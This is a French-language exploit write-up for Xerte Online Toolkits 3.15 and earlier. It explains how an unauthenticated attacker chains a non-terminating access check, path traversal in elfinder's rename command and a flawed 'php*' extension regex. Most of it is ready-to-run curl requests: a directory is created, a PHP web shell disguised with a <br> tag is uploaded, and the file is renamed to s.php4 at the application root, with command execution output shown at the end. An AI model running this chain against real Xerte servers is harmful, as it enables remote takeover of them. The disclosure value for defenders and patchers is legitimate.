
Exploit non authentifié pour Xerte Online Toolkits. Nécessite de connaître un nom d'utilisateur valide.
Les versions 3.15 et antérieures de Xerte Online Toolkits présentent 3 vulnérabilités dans le composant /editor/elfinder/php/connector.php, qui peuvent être enchaînées par un attaquant non authentifié pour parvenir à une exécution de code à distance (RCE).
Xerte Online Toolkits <= 3.15
Un correctif rétroporté a été appliqué aux versions 3.15, 3.14 et 3.13
Les utilisateurs non authentifiés peuvent envoyer des requêtes au composant connecteur à /editor/elfinder/php/connector.php
Le code suivant est utilisé comme contrôle d'accès.
File: /editor/elfinder/php/connector.php Line Number: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
Cela redirige les utilisateurs non authentifiés, les empêchant de recevoir la réponse des requêtes non authentifiées, mais cela ne termine pas la session et le code suivant est toujours exécuté.
*Nécessite que l'attaquant connaisse le nom du fichier qu'il souhaite déplacer
Les attaquants peuvent manipuler le paramètre "name" dans une requête "rename" vers le point de terminaison connector.php. Cela permet aux attaquants d'utiliser un répertoire existant pour déplacer des fichiers en dehors du répertoire média de l'utilisateur.
En raison d'une erreur dans l'expression régulière du filtre d'extension de fichier de connector.php, les attaquants peuvent enchaîner une vulnérabilité de traversée de chemin présente dans les mêmes versions de Xerte pour déplacer un fichier contenant du code PHP malveillant vers la racine de l'application avec une extension .php4.
File: /editor/elfinder/php/connector.php Line Number: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
L'expression régulière php* ne correspond qu'au caractère précédent. Par conséquent, elle correspondrait à "ph", "php", "phppp", etc...
Si l'authentification est activée (ce qui n'est pas la configuration par défaut de Xerte), un attaquant doit connaître (ou forcer par brute-force) le nom d'utilisateur d'un utilisateur valide. Si l'authentification invité est utilisée (par défaut), le répertoire du projet cible serait simplement 1--Nottingham.
Un attaquant non authentifié peut créer un répertoire "example_dir" et téléverser un fichier "file.txt" avec du code PHP malveillant dans n'importe quel répertoire de projet sous USER-FILES/
Il peut ensuite utiliser les vulnérabilités de traversée de chemin relative et de liste incomplète des entrées interdites présentes dans Xerte pour effectuer une traversée de chemin en modifiant le nom du fichier téléversé en "example_dir/../../../../file.php4", déplaçant file.txt vers la racine de l'application sous le nom "file.php4", ce qui donne à l'attaquant une exécution de code à distance.
curl 'http://localhost/xt/setup'
Paramètres de la requête : uploadDir: Racine de l'application + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL du répertoire du projet cmd: mkdir name: Le nom du nouveau répertoire target: L'identifiant elfinder du répertoire media/. Comme c'est la racine d'elfinder, ce sera toujours "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*La balise
dans la charge utile empêche le filtre de type MIME d'elfinder de détecter le code PHP.
Paramètres de la requête : uploadDir: Racine de l'application + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL du répertoire du projet cmd: upload target: L'identifiant elfinder du répertoire media/. Comme c'est la racine d'elfinder, ce sera toujours "l1_Lw" upload[]: Le fichier à téléverser.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
Assurez-vous de supprimer le remplissage, dans ce cas c'est juste "="
Ajoutez l'identifiant du volume. Ce sera toujours "l1" (comme dans "/")
Résultat : l1_ZmlsZS50eHQ
Paramètres de la requête :
uploadDir: Racine de l'application + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: URL du répertoire du projet
cmd: rename
name: Le nom du répertoire, la séquence de traversée de chemin, et le nouveau nom de fichier avec l'extension .php4
target: L'identifiant elfinder que nous avons généré à partir du nouveau fichier l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Paramètres de la requête : cmd: La commande à exécuter
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)